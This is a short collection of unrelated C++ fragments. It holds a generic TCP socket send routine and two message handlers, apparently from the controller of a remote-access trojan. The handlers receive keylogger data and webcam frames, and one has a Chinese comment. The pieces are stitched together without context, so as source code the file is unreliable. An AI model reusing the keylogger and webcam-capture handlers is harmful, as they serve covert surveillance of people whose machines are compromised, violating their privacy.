int TCPSocket::send(const Buffer *buf, int count, bool send_all) { if ((this->_state != CONNECTED) && (this->_state != CONNECTING)) { throw SocketStateException("Wrong state for operation"); } assert(buf->size() >= count); this->validate_connect(); if (send_all) { int to_send = count; int sent_total = 0; while (to_send != sent_total) { int sent = ::send(this->_b->_sock, buf->buf() + sent_total, to_send - sent_total, MSG_NOSIGNAL); #ifdef DEBUG fprintf(stderr, "socket %d sent %d bytes\n", _b->_sock, sent); #endif if (sent == -1) { if (errno == EAGAIN) throw EAGAINException(); else throw SendException(errno); } sent_total += sent; } return sent_total; } else { int sent = ::send(this->_b->_sock, buf->buf(), buf->size(), MSG_NOSIGNAL); #ifdef DEBUG fprintf(stderr, "socket %d sent %d bytes\n", _b->_sock, sent); #endif if (sent == -1) { if (errno == EAGAIN) throw EAGAINException(); else throw SendException(errno); } return sent; } }
void CKeyBoardDlg::OnReceiveComplete() { switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_KEYBOARD_DATA: AddKeyBoardData(); break; default: // 传输发生异常数据 SendException(); break; } }
void CWebCamDlg::OnReceiveComplete() { m_nCount++; switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_WEBCAM_DIB: DrawDIB(); break; default: // 传输发生异常数据 SendException(); break; } }